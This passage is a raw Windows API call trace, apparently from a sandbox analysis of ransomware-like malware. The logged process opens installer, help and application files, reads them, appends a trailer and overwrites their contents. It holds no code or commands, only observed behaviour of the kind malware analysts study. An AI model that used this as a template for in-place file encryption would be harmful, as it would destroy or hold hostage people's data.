lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x383, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x304f2bc*=0x383, lpOverlapped=0x0) returned 1 [0053.928] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0053.928] WriteFile (in: hFile=0x1bc, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x90b, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x304f2d0*=0x90b, lpOverlapped=0x0) returned 1 [0053.928] CloseHandle (hObject=0x1bc) returned 1 [0053.928] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\removed-files" (normalized: "c:\\program files (x86)\\mozilla firefox\\removed-files"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0053.928] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.929] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x8f3b [0053.929] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0053.929] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.929] ReleaseMutex (hMutex=0x128) returned 1 [0053.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="removed-files", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="removed-files", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removed-files", lpUsedDefaultChar=0x0) returned 13 [0053.929] ReadFile (in: hFile=0x1bc, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0054.145] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x7f3b [0054.145] ReadFile (in: hFile=0x1bc, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.145] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x7f3b [0054.145] WriteFile (in: hFile=0x1bc, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0054.146] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0054.146] WriteFile (in: hFile=0x1bc, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0054.146] CloseHandle (hObject=0x1bc) returned 1 [0054.146] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\webapprt.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0054.147] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.147] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1e7 [0054.147] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.147] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.147] ReleaseMutex (hMutex=0x128) returned 1 [0054.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="webapprt.ini", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0054.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="webapprt.ini", cchWideChar=12, lpMultiByteStr=0x1e6306c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="webapprt.ini", lpUsedDefaultChar=0x0) returned 12 [0054.147] ReadFile (in: hFile=0x1bc, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1e7, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x304f2bc*=0x1e7, lpOverlapped=0x0) returned 1 [0054.148] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0054.148] WriteFile (in: hFile=0x1bc, lpBuffer=0x1da5ef8*, nNumberOfBytesToWrite=0x76f, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da5ef8*, lpNumberOfBytesWritten=0x304f2d0*=0x76f, lpOverlapped=0x0) returned 1 [0054.148] CloseHandle (hObject=0x1bc) returned 1 [0054.148] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft.office.infopath.targets"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0054.157] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.157] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2fc [0054.158] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.158] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.158] ReleaseMutex (hMutex=0x128) returned 1 [0054.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft.Office.InfoPath.targets", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0054.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft.Office.InfoPath.targets", cchWideChar=33, lpMultiByteStr=0x1eb2244, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.Office.InfoPath.targets", lpUsedDefaultChar=0x0) returned 33 [0054.158] ReadFile (in: hFile=0x1bc, lpBuffer=0x275b028, nNumberOfBytesToRead=0x2fc, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x304f2bc*=0x2fc, lpOverlapped=0x0) returned 1 [0054.160] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0054.160] WriteFile (in: hFile=0x1bc, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x884, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x304f2d0*=0x884, lpOverlapped=0x0) returned 1 [0054.161] CloseHandle (hObject=0x1bc) returned 1 [0054.161] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\photoviewer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0054.161] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui", lpFilePart=0x304f690*="PhotoViewer.dll.mui") returned 0x45 [0054.161] GetLastError () returned 0x5 [0054.161] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿨q̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0054.162] LocalFree (hMem=0x71afe8) returned 0x0 [0054.162] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0054.162] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0054.162] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0054.162] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0054.162] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\photoviewer.dll.mui")) returned 0x20 [0054.162] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0054.163] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.163] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x146 [0054.163] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.163] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.163] ReleaseMutex (hMutex=0x128) returned 1 [0054.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.EXCEL.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0054.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.EXCEL.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x1e78b04, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.EXCEL.14.1033.hxn", lpUsedDefaultChar=0x0) returned 20 [0054.163] ReadFile (in: hFile=0x1bc, lpBuffer=0x253cad8, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253cad8*, lpNumberOfBytesRead=0x304f2bc*=0x146, lpOverlapped=0x0) returned 1 [0054.164] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0054.164] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6ce, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x6ce, lpOverlapped=0x0) returned 1 [0054.164] CloseHandle (hObject=0x1bc) returned 1 [0054.164] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0054.165] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.165] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x15e [0054.165] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.165] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.165] ReleaseMutex (hMutex=0x128) returned 1 [0054.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSPUB.DEV.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0054.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSPUB.DEV.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x1e7fb4c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.MSPUB.DEV.14.1033.hxn", lpUsedDefaultChar=0x0) returned 24 [0054.165] ReadFile (in: hFile=0x1bc, lpBuffer=0x2635c28, nNumberOfBytesToRead=0x15e, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635c28*, lpNumberOfBytesRead=0x304f2bc*=0x15e, lpOverlapped=0x0) returned 1 [0054.167] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0054.167] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6e6, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x6e6, lpOverlapped=0x0) returned 1 [0054.167] CloseHandle (hObject=0x1bc) returned 1 [0054.168] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0054.168] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.168] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x15e [0054.168] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.168] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.168] ReleaseMutex (hMutex=0x128) returned 1 [0054.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO.DEV.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0054.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO.DEV.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x1e7fb4c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.VISIO.DEV.14.1033.hxn", lpUsedDefaultChar=0x0) returned 24 [0054.168] ReadFile (in: hFile=0x1bc, lpBuffer=0x2635c28, nNumberOfBytesToRead=0x15e, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635c28*, lpNumberOfBytesRead=0x304f2bc*=0x15e, lpOverlapped=0x0) returned 1 [0054.169] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0054.169] WriteFile (in: hFile=0x1bc, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6e6, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x6e6, lpOverlapped=0x0) returned 1 [0054.169] CloseHandle (hObject=0x1bc) returned 1 [0054.169] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0054.170] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.170] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xfc93c [0054.170] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.170] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.170] ReleaseMutex (hMutex=0x128) returned 1 [0054.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows6.1-KB2999226-x64.msu", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0054.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows6.1-KB2999226-x64.msu", cchWideChar=28, lpMultiByteStr=0x1e7fb4c, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows6.1-KB2999226-x64.msu", lpUsedDefaultChar=0x0) returned 28 [0054.170] ReadFile (in: hFile=0x1bc, lpBuffer=0x3a284c8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x3a284c8*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0054.173] ReadFile (in: hFile=0x1bc, lpBuffer=0x3a284c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x3a284c8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.180] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xfb93c [0054.180] ReadFile (in: hFile=0x1bc, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.184] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xfb93c [0054.184] WriteFile (in: hFile=0x1bc, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0054.184] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0054.184] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0054.185] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0054.185] CloseHandle (hObject=0x1bc) returned 1 [0054.185] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0054.185] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.186] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x24000 [0054.186] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.186] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.186] ReleaseMutex (hMutex=0x128) returned 1 [0054.186] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x86.msi", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0054.186] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x86.msi", cchWideChar=25, lpMultiByteStr=0x1e7faec, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeMinimum_x86.msi", lpUsedDefaultChar=0x0) returned 25 [0054.186] ReadFile (in: hFile=0x1bc, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0054.191] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x23000 [0054.191] ReadFile (in: hFile=0x1bc, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.196] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x23000 [0054.198] WriteFile (in: hFile=0x1bc, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0054.198] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0054.198] WriteFile (in: hFile=0x1bc, lpBuffer=0x27f5cc8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0054.198] CloseHandle (hObject=0x1bc) returned 1 [0054.198] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bc [0054.199] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0054.199] SetFilePointer 